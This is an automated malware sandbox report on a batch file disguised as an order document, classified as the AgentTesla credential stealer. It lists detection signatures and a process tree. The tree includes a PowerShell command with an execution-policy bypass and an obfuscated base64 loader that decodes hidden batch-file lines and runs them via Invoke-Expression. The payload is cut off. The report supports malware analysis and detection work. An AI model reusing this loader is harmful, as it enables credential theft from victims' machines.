Edit tour
Windows
Analysis Report
order no_3_17_2025 ref_HR 6473876476374647464657464564764746.bat
Overview
General Information
| Sample name: | order no_3_17_2025 ref_HR 6473876476374647464657464564764746.bat |
| Analysis ID: | 1640973 |
| MD5: | fd5fbe534669e2b0fd7b50bd8acf1342 |
| SHA1: | dc7428fcb7f9b33a7e49b5a96cc743983951a071 |
| SHA256: | f6b6e3664095437f4984389106b6609575fbd411c38f71f696e148ec7df15c14 |
| Tags: | batuser-smica83 |
| Infos: |   |
 | |
Detection
AgentTesla, Batch Injector
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AgentTesla
Yara detected Batch Injector
Yara detected Powershell decode and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Uses FTP
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 8536 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\order no_3_17_2 025 ref_HR 647387647 6374647464 6574645647 64746.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8544 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8588 cmdline:
C:\Windows \system32\ cmd.exe /K "C:\Users \user\Desk top\order no_3_17_20 25 ref_HR 6473876476 3746474646 5746456476 4746.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8600 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 8644 cmdline: "C:\Window s\SysWOW64 \WindowsPo werShell\v 1.0\powers hell.exe" -noprofile -ep bypas s -Command "[Text.En coding]::U TF8.GetStr ing([Conve rt]::FromB ase64Strin g('DQoNCiR zY3JpcHRDb 250ZW50ID0 gQCcNCiR1c 2Vyc2lla2x OYW1lIHNpZ WtsPSAkZW5 zaWVrbHY6V VNFc2lla2x STkFNRXNpZ WtsOyRxY2d zaWVrbGttI D0gc2lla2w iQzpcVXNpZ Wtsc2Vyc1x zaWVrbCR1c 2Vyc2lla2x OYW1lXHNpZ WtsZHdtLmJ zaWVrbGF0I jtpc2lla2x mIChUZXNpZ Wtsc3QtUGF zaWVrbHRoI CRxc2lla2x jZ2ttKXNpZ WtsIHsgICB zaWVrbCBXc ml0c2lla2x lLUhvc3NpZ WtsdCAiQmF zaWVrbHRja CBmc2lla2x pbGUgZnNpZ Wtsb3VuZDp zaWVrbCAkc WNnc2lla2x rbSIgLXNpZ WtsRm9yZWd zaWVrbHJvd W5kc2lla2x Db2xvcnNpZ WtsIEN5YW5 zaWVrbDsgI CAgc2lla2w kZmlsZXNpZ WtsTGluZXN zaWVrbCA9I FtTc2lla2x 5c3RlbXNpZ WtsLklPLkZ zaWVrbGlsZ V06c2lla2w 6UmVhZHNpZ WtsQWxsTGl zaWVrbG5lc ygkc2lla2x xY2drbXNpZ WtsLCBbU3l zaWVrbHN0Z W0uc2lla2x UZXh0LnNpZ WtsRW5jb2R zaWVrbGluZ 106c2lla2w 6VVRGOHNpZ WtsKTsgICB zaWVrbCBmb 3Jlc2lla2x hY2ggKHNpZ WtsJGxpbmV zaWVrbCBpb iAkc2lla2x maWxlTHNpZ WtsaW5lcyl zaWVrbCB7I CAgc2lla2w gICAgIHNpZ WtsaWYgKCR zaWVrbGxpb mUgc2lla2w tbWF0Y3NpZ WtsaCAnXjp zaWVrbDo6I D8oc2lla2w uKykkJ3NpZ WtsKSB7ICB zaWVrbCAgI CAgc2lla2w gICAgIHNpZ WtsV3JpdGV zaWVrbC1Ib 3N0c2lla2w gIkluanNpZ WtsZWN0aW9 zaWVrbG4gY 29kc2lla2x lIGRldHNpZ WtsZWN0ZWR zaWVrbCBpb iB0c2lla2x oZSBiYXNpZ WtsdGNoIGZ zaWVrbGlsZ S4ic2lla2w gLUZvcnNpZ WtsZWdyb3V zaWVrbG5kQ 29sc2lla2x vciBDeXNpZ WtsYW47ICB zaWVrbCAgI CAgc2lla2w gICAgIHNpZ WtsdHJ5IHt zaWVrbCAgI CAgc2lla2w gICAgIHNpZ WtsICAgICB zaWVrbCAkZ GVjc2lla2x vZGVkQnNpZ WtseXRlcyB zaWVrbD0gW 1N5c2lla2x zdGVtLnNpZ WtsQ29udmV zaWVrbHJ0X To6c2lla2x Gcm9tQnNpZ WtsYXNlNjR zaWVrbFN0c mluc2lla2x nKCRtYXNpZ WtsdGNoZXN zaWVrbFsxX S5Uc2lla2x yaW0oKXNpZ WtsKTsgICB zaWVrbCAgI CAgc2lla2w gICAgIHNpZ WtsICAgJGl zaWVrbG5qZ WN0c2lla2x pb25Db3NpZ WtsZGUgPSB zaWVrbFtTe XN0c2lla2x lbS5UZXNpZ WtseHQuRW5 zaWVrbGNvZ Gluc2lla2x nXTo6VXNpZ Wtsbmljb2R zaWVrbGUuR 2V0c2lla2x TdHJpbnNpZ WtsZygkZGV zaWVrbGNvZ GVkc2lla2x CeXRlc3NpZ WtsKTsgICB zaWVrbCAgI CAgc2lla2w gICAgIHNpZ WtsICAgV3J zaWVrbGl0Z S1Ic2lla2x vc3QgInNpZ WtsSW5qZWN zaWVrbHRpb 24gc2lla2x jb2RlIHNpZ WtsZGVjb2R zaWVrbGVkI HN1c2lla2x jY2Vzc3NpZ WtsZnVsbHl zaWVrbC4iI C1Gc2lla2x vcmVncnNpZ Wtsb3VuZEN zaWVrbG9sb 3Igc2lla2x HcmVlbnNpZ WtsOyAgICB zaWVrbCAgI CAgc2lla2w gICAgIHNpZ WtsICBXcml zaWVrbHRlL Uhvc2lla2x zdCAiRXNpZ WtseGVjdXR zaWVrbGluZ yBpc2lla2x uamVjdHNpZ WtsaW9uIGN zaWVrbG9kZ S4uc2lla2w uIiAtRnNpZ Wtsb3JlZ3J zaWVrbG91b mRDc2lla2x vbG9yIHNpZ WtsWWVsbG9 zaWVrbHc7I CAgc2lla2w gICAgIHNpZ WtsICAgICB zaWVrbCAgI Eluc2lla2x 2b2tlLXNpZ WtsRXhwcmV zaWVrbHNza W9uc2lla2w gJGluanNpZ WtsZWN0aW9 zaWVrbG5Db 2Rlc2lla2w 7ICAgIHNpZ WtsICAgICB zaWVrbCAgI CAgc2lla2w gIGJyZXNpZ WtsYWs7ICB zaWVrbCAgI CAgc2lla2w gICAgIHNpZ